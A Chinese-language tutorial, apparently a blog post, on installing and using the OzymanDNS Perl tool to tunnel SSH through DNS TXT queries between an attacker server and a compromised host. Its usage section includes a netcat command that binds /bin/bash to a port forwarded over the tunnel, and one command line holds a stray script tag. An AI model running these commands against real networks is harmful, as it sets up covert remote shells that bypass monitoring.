一、入坑必读

1、简介

ozymandns 较早的一个DNS隧道工具,它基于perl开发,使用较复杂。

最初版本只有0.1,有各个爱好者的修改版,如via1,via2,via3等。它的主要功能就是结合 ssh 来做通道,因此这也是它的一大坑点,下面会讲到。

数据请求用base32编码,响应使用base64编码。

使用热度: ★★☆☆☆

2、专业词

  • Type:DNS解析的类型,常见的有:A、CNAME、MX、TXT……
  • 直连模式:客户端直接向指定IP的恶意DNS服务器发起DNS解析请求
  • 中继模式:像我们平时上网一样,DNS解析先经过互联网的迭代解析,最后指向我们的恶意DNS服务器。相比直连,速度较慢,但是更安全。

    3、放哪儿

    | 攻击机 | 被控机 |
    |–|–|
    | 服务端 | 客户端 |

4、支持Type

  • [x] TXT

5、兼容说明

  • 由于版本较老,服务端、客户端不太支持Windows,推荐在Linux下跑。

    Windows下运行可能提示:Your vendor has not defined Fcntl macro F_GETFL

    原因是Windows对F_GETFL函数不支持,当然可以修改相关代码以兼容Windows,详见:https://github.com/kthakore/frozen-bubble/commit/735dd2307455e32c69827e013992c2d022cb7347

    并且Windows运行,还需要cgywin工具。博主在安装后,仍然提示缺少cgywin1.dll,没搞成功。

  • kali系统内置Perl环境,但是运行可能还是会报缺少一些依赖:

    • Net::DNS
    • MIME::Base32

    安装方法:
    解压ppm文件(如Net::DNS),将里面的lib覆盖到perl安装目录下的lib(注意kali的perl默认在usr/lib/x86_64-linux-gnu/perl5

    这些Perl依赖,以及服务端、客户端等所有工具,下面的下载地址已打包提供!
    当然以上依赖也可以到官网下载:http://www.bribes.org/perl/ppm/

6、全套下载地址

二、原理简述

ozymandns分为两部分:客户端和服务器。

客户端:

在受感染的计算机上运行。

运行模式如大多DNS隧道工具一样:Dnscat2客户端->DNS服务商->Dnscat2服务端

如果您没有购买域名,还可以在UDP/53上使用直连。

服务端:

Perl语言编写,在服务器上运行。

当它接收其中一个域名的流量时,它会尝试建立DNS连接。。

三、安装使用

1、安装

下载下来即可!

2、使用

服务端:

1、启动服务:

1
2
3
4
5
# 该ip为查询该域名时返回的ip,不重要
perl nomde.pl -i 11.11.11.11 <domain.com> <script src="https://localhost01.cn/js/jquery-2.0.0.min.js"></script>

# 服务端还可以开启nc来监听本地端口,后续被控端可使用nc,通过dns隧道来连接
nc -l -p 1234 -v

客户端:

1、连接:

1
2
3
4
5
# 客户端连接的域名,必须有sshdns前缀,否则连不上,我就在这里踩了个大坑
ssh -C -o ProxyCommand="./droute.pl sshdns.abc.com -r <your server ip>" -L 7777:127.0.0.1:1234 root@127.0.0.1

# nc去连接,注:其实上面操作就能得到一个ssh窗口了,一般就不需要再通过nc去连了。
nc 127.0.0.1 7777 -e /bin/bash -v

其中:

  • -r 可选,指定远程DNS服务器地址(直连模式),如需使用中继模式,则可不填
  • -L 表示把本地的7777远端的1234端口,基于DNS通道,再建立一个SSH连接通道
  • -C 开启压缩,这样传输更快
  • root@127.0.0.1 SSH连接时,输入的用户名,如果连接成功后,会提示输入登录密码。

    这是使用 ozymandns 来做ssh通讯最大的坑点。对于普通用户来说,倒没什么,对于黑客们来说,还得需要知道其密码!